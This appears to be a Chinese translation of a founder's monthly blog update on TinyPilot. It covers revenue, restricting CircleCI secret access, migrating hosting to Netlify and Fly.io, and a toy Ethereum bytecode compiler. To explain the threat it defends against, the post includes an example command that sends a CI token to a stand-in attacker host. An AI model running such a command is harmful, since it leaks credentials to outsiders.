TinyPilot:第 45 个月
原文由 Michael Lynch 于 发布,订阅该博客
一句话总结
认真审视部署流程。
亮点
- 我与 TinyPilot 团队合作,在不影响现有工作流的前提下收紧了对部署密钥的访问权限。
- 我吸取教训,在跨平台迁移服务时将停机时间降至最低。
- 我写出了人生第一个编译器,虽然极其简单。
目标完成度
每月初我都会定下当月想要完成的目标,以下是完成情况:
补齐 TinyPilot 发布文档的缺口
- 结果:补上了上次发布中发现的缺口。
- 评分:A
3 月的 TinyPilot Pro 版本是我们第一次由我完全不直接参与任何发布工作的一次发布。发布过程总体顺利,但在某些环节,团队对下一步该做什么不够清晰。
我分别与开发团队和技术支持团队开了复盘会,收集大家对这次发布的反馈。这些会议产生了大量有价值的意见,我们据此修订了内部文档和操作手册,解决了之前遇到的那些小问题。
完成 2023 年报税
- 结果:所有报税材料均按时提交。
- 评分:A
今年的报税比较复杂,这是我婚后首次以夫妻联合申报的方式报税,而且有几份税表迟迟才拿到,不过现在都已提交完毕。
TinyPilot 数据一览
| 指标 | 2024 年 2 月 | 2024 年 3 月 | 变化 |
|---|---|---|---|
| 独立访客 | 13,000 | 9,100 | -3,900 (-30%) |
| 销售收入 | $82,517.42 | $107,809.83 | +$25,292.41 (+31%) |
| 企业订阅 | $290.70 | $290.70 | 0 |
| 版税收入 | $3,373.65 | $2,442.12 | -$931.53 (-28%) |
| 总收入 | $86,181.77 | $110,542.65 | +$24,360.88 (+28%) |
| 利润 | $23,599.09 | $3,193.73 | -$20,405.36 (-86%) |
3 月是 TinyPilot 有史以来销售收入最高的月份,以约 600 美元的优势微弱地打破了此前的纪录。按单月口径看利润有所下滑,但更有意义的指标是近三个月的平均值,而这一数据依然表现强劲。
访问量较上月有所下降,但只是因为 2 月份我的六周年回顾一文带来了异常的访问高峰。
收紧对 TinyPilot 生产环境密钥的访问
过去几个月里,我们一直在改进 TinyPilot 的发布流程,让它更加自动化,也不再那么依赖我个人。
在梳理发布流程时,我们意识到有太多团队成员拥有生产环境密钥的访问权限。生产环境密钥包括用于发布新版网站或 TinyPilot 应用的身份验证令牌等敏感信息。
我们团队规模很小,所以这里说的“太多”其实是指 5 个人而不是 1 个人。即便如此,仍有 4 个人拥有他们本不需要的生产密钥访问权限。
TinyPilot 的大多数代码仓库都采用“绿灯即发布(push on green)”模式,也就是说,只要代码通过了 CircleCI(我们的持续集成服务)上的自动化测试,就会立即发布到生产环境。
我们把密钥以 CircleCI 环境变量的形式存储。起初这看起来没什么问题,因为环境变量是只写的,也就是说保存之后就无法再读取其明文值。

CircleCI 的管理界面只会显示环境变量值的部分内容,且只有 CircleCI 管理员才能查看。注意,这里展示的是虚构的示例值。
一旦我们开始更认真地审视密钥保护问题,就发现尽管 CircleCI 的网页界面给人的印象是安全的,但实际上 5 名团队成员都能间接获取到环境变量。恶意成员可以通过以下两种方式窃取密钥:
- 他们可以在代码仓库中新建一个分支,然后修改 CircleCI 配置文件,将密钥外发到自己控制的远程服务器,例如
curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN - 他们可以在任意 CI 任务中通过 SSH 登录,然后在命令行中执行
echo $AUTH_TOKEN。
第一种方式在一定程度上可以被发现,但我们从未对此进行过检查;第二种方式则完全无法被发现,因为 CircleCI 不会记录 SSH 会话。
这类攻击只能来自 TinyPilot 团队内部,因为第三方贡献者根本无法访问 CircleCI 的环境变量。
我们研究了如何收紧访问权限,CircleCI 的文档建议将涉及安全的敏感密钥存放在“上下文(contexts)”中。上下文本质上仍是环境变量,但提供了更细粒度的访问控制。
安全上下文当时只允许按人员名单来限制访问。也就是说,如果要维持现有工作流,就得让所有人都能访问密钥,那又回到了原点;如果硬性规定只有部分受信任的成员才能触发部署,又会带来极大的协作阻碍。
我们联系了 CircleCI 的技术支持,对方表示他们恰好即将发布一项能解决我们问题的新功能。两周后,CircleCI 推出了基于表达式的上下文访问限制,事实证明它完美地解决了我们的问题。
CircleCI 基于表达式的限制让我们可以对上下文施加除用户白名单之外的更多约束。我们可以将密钥限制为仅在特定分支上可用,并在启用 SSH 时禁用访问。我们最终配置了类似下面的表达式:
pipeline.git.branch == "master" and not job.ssh.enabled该表达式可以缓解上面提到的第一种攻击,因为试图通过新建分支来窃取密钥的恶意成员在其分支上将无法访问到密钥。
该表达式也能缓解第二种攻击,因为当用户以 SSH 模式启动 CircleCI 任务时,密钥根本不会被提供。
我们的 master 分支要求任何改动都至少经过一人审批,因此该方案仍可能受到两名成员合谋的攻击。一名心怀不轨的成员可以提交一段窃取密钥的代码,再由同伙批准合并。不过这种攻击会非常显眼,因为改动发生在我们经常协作的文件中,而且会有清晰的审计记录,明确显示是谁提交的。
总体而言,我对 CircleCI 基于表达式的上下文限制感到满意。如果你的团队也在 CI 中使用生产环境密钥,我建议你认真审视一下,是否让过多成员拥有了本不需要的密钥访问权限。
改进跨主机迁移服务的流程
创立 TinyPilot 之初,我倾向于把服务托管在 Google Cloud Platform、Amazon Web Services 这样的大型云厂商上。过去四年里,我逐渐更偏好 Netlify、Fly.io 这类规模较小的服务商。
TinyPilot 的大部分服务已经运行在这些小众平台上,但仍有几个早期搭建的服务一直没有迁移,所以我决定做一次整合。
其中一次迁移过程有些坎坷,我从中吸取的经验让下一次迁移顺利了许多。
从 Firebase 迁移到 Netlify(过程坎坷)
TinyPilot 官网只是一个静态网站,所以托管在哪里都可以。它之前一直放在 Firebase Hosting 上,因为 2020 年时我所有项目都用 Firebase,运行得也不错。但在围绕安全上下文重构部署流程时,我意识到正好可以借此机会把它迁移到我目前更偏好的静态网站托管平台 Netlify 上。
这看起来应该是一次简单的迁移。没有数据库需要同步,只需在 Netlify 上发布网站,然后更新 DNS 记录指向新主机即可。
至少我当时是这么想的。
我在 Netlify 上发布了网站,更新了 tinypilotkvm.com 的 DNS 记录,尝试访问网站,结果:TLS 证书错误。

刚更新完 DNS 记录,访问 TinyPilot 官网时就出现了 TLS 错误。
这可糟了。没有人愿意在一个浏览器刚刚警告会窃取信用卡信息的网站上购物。
更糟的是,我是在美东时间周四上午 9:30 做的这次变更,正好是我们付费用户访问最集中的时段。
是 Netlify 还没生成 TLS 证书吗?我查看了 TLS 错误详情,发现浏览器抱怨的是来自 Firebase 的证书。咦?难道不应该是 Firebase 仍在用旧证书正常提供旧版网站吗?
我原本设想访客会根据其 DNS 服务器缓存的新旧程度分为两类:
- 他们查询到的 DNS 服务器仍缓存着旧的 Firebase IP 地址 -> 看到的是更新 DNS 之前的旧版 Firebase 网站,一切正常。
- 他们查询到的 DNS 服务器已拿到新的 Netlify IP 地址 -> 看到的是新版 Netlify 网站,也能正常访问。
即便现在,我也不明白为什么会看到 Firebase 的证书错误。我能想到的唯一解释是 Firebase 会对 DNS 变更做出反应,一旦相关 DNS 记录发生变化就立即吊销证书。但 Firebase 管理后台当时仍显示我的证书是有效的。
作为临时补救,我把 Firebase 配置为将访客重定向到我在前一天为新站点准备的预览域名 netlify-preview.tinypilotkvm.com。这招奏效了,客户不再看到 TLS 错误。我真希望当初没起 netlify-preview 这么奇怪的预览域名,因为它会让客户明显感觉出不对劲,但总比 TLS 错误要好。
在接下来的一整天里,旧的 Firebase 站点仍在接收流量,不过流量在几天内逐渐降至零。一周后,我关闭了 Firebase 上的站点。
从 AWS 迁移到 Fly.io(过程顺利)
TinyPilot 使用 LogPaste 服务器来收集用户的诊断日志。这是一个简单的 Go 应用,而我托管 Go 服务的首选平台是 Fly.io。但 TinyPilot 的 LogPaste 服务器当时仍运行在 AWS LightSail 上,所以我决定将它从 LightSail 迁移到 Fly.io。
迁移 LogPaste 比迁移 TinyPilot 官网稍难一些,因为 LogPaste 还带有一个 SQLite 数据库。不过这次迁移的风险更低,即使 LogPaste 服务器宕机一两天,也不会造成严重后果。
迁移前一天,我把 logs.tinypilotkvm.com 的 DNS 记录 TTL 调低到 1 分钟。虽然 DNS 服务器不一定会遵守 TTL,但我觉得对于那些会遵守的服务器来说,尽量缩短缓存时间总是有帮助的。
我还在 Fly.io 上部署了一个 LogPaste 的预发布版本,域名为 logs2.tinypilotkvm.com。这样一来,如果需要像迁移官网时那样做重定向跳转,我就能有一个看起来不那么奇怪的 URL 可供指向。
我还准备了一个迁移脚本,用于将数据从旧的 LightSail 版本迁移到新的 Fly.io 版本。这是一个简单的 bash 脚本,会从 Amazon S3 存储桶下载生产数据库,再上传到支撑新 Fly.io 服务的存储桶中。
迁移当天,我一早 7 点起床就执行了迁移。这样一来,即便出现短暂中断,受影响的人也会少一些。
幸运的是,迁移过程非常顺利。我调用链路上的所有 DNS 服务器似乎都遵守了 1 分钟的 TTL,因为 Fly.io 服务器的日志几乎在更新 DNS 后就立刻显示有针对 logs.tinypilotkvm.com 的请求。
我又让 LightSail 上的旧版本多运行了一周,确认不再有流量后才将其删除。
在不同主机间迁移服务的通用策略
注意:这未必是迁移服务的最优策略。我猜在最大程度减少证书错误方面应该有更专业的做法,但这套流程至少比我之前的做法要好得多。
下次再需要在不同主机间迁移服务时,我打算沿用本月总结出的这套流程。
举个通用例子,假设你要把托管在 example.com 上的服务从平台 A 迁移到平台 B。
准备日
在计划迁移的前一两天,完成以下准备工作:
- 将你的服务部署到平台 B。
- 在平台 B 上为你的服务创建子域名的证书。
- 这通常在托管平台的“添加自定义域名”设置中。
- 选择一个即便被客户看到也不会感到奇怪的子域名,例如
www2.example.com或web.example.com。 - 不要选择会让终端用户感到不安的子域名,例如
insecure-staging.example.com。
- 为新子域名添加指向平台 B 的 DNS 记录。
- 确保你可以通过新子域名正常访问平台 B,且浏览器没有 TLS 报错。
- 将生产环境
example.com的 DNS 记录 TTL 调低,例如 1-5 分钟。 - 在平台 B 上为生产环境的
example.com域名生成证书。
迁移日
迁移当天,按以下步骤操作。
- 选择流量较低的时间段。
- 如果可能需要同事协助,请确保他们知晓迁移计划且届时在线。
- 将
example.com的 DNS 记录由指向平台 A 改为指向平台 B。 - 检查是否仍可通过主域名
example.com正常访问你的服务。
如果在 DNS 变更后访问服务时看到来自平台 A 的 TLS 错误:
- 作为临时补救,将平台 A 配置为把流量重定向到准备阶段设置好的预发布子域名。
- 使用
dig检查 DNS 记录在你本地的过期时间,并观察 TLS 错误是否在记录过期后消失。
下线旧服务器
迁移后至少等待 24 小时,然后执行以下步骤:
- 确认指向平台 A 的流量已停止。
- 下线你在平台 A 上的服务器。
- 确认在没有平台 A 的情况下服务仍可正常访问。
- 将生产环境 DNS 记录的 TTL 恢复为合理的数值,例如 60 分钟。
- 从 DNS 记录中移除预发布子域名。
业余项目
编写一个简单的编译器
为了更深入地学习 Zig、解释器和以太坊,过去几个月我一直在用 Zig 实现一个以太坊虚拟机,名叫 eth-zvm。
我已经为 eth-zvm 编写了性能基准测试,但它们执行的程序只是一段段以太坊字节码,例如:
60016000526001601ff3这种字节码很难编辑。每次想修改测试时,我都得先把字节码反编译成人类可读的形式,改完后再重新编译回原始字节。
以太坊有一种人类可读的字节码表示形式,称为助记符(mnemonic)格式,因此上面那段字节码对应的助记符形式如下:
PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN它依然很底层,但比原始字节更容易理解。
我想用助记符格式而非字节码来存储测试用例。我找过助记符到字节码的编译器,但没找到能在命令行开箱即用的工具。
这看起来不算太难,于是我决定自己写一个助记符到字节码的编译器。
就编译器而言,我这个可以说是最简单的了。几乎每一个输入词法单元都能一对一地对应到输出的每一个字节。
下面是一个非常简单的程序:
$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3操作码 RETURN 的值是 0xf3,因此输出的字节码就是 f3。
当操作码带有参数时,情况会稍微复杂一点,例如 PUSH1 会向栈中压入一个字节:
$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042我也可以使用 PUSH32,它会向栈中压入一个 32 字节的值:
$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042我还实现了对行内注释的支持,因此上面那个示例程序加上注释后是这样的:
$ tempfile="$(mktemp)" && \
cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE
// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF
$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3现在,我将 eth-zvm 的基准测试用例以人类可读的助记符格式存储,并在按需将它们编译为字节码来运行基准测试。
写一个编译器很有趣,哪怕它非常简单。我目前的编译器仍会接受像 PUSH1 RETURN 这样语义上错误的代码,但对我的需求来说已经够用了。这个项目依然是帮助我更深入理解编程语言底层原理的有趣方式。
总结
完成了什么?
- 收紧了对 TinyPilot 生产环境密钥的访问权限。
- 发表了《为什么一个多余的构建步骤会让我的 Zig 应用快 10 倍?》
- 发表了《搭建我的第一个家庭实验室机架》
- 将 TinyPilot 的托管整合至 Fly.io 和 Netlify。
- 将 RMA(退货授权)流程外包给了第三方服务商。
经验教训
- 将密钥存储在 CI 环境变量中是好做法,但团队成员越多,就越应该限制访问权限。
- 在不同平台间迁移服务时要采用严谨的流程。
- 选择既不会影响业务、又有充足时间应对失误的时间段。
- 至少在迁移前一天调低 DNS 的 TTL。
- 提前准备好新的 TLS 证书。
- 选择一个即便被终端用户看到也能接受的预发布子域名。
下月目标
- 与三家潜在的 TinyPilot 新分销商或销售渠道展开洽谈。
- 推进两个新的 TinyPilot 软件功能的开发。
- 与制造商协调 2024 年剩余时间的生产计划。
随机一篇博客
评论
登录后参与讨论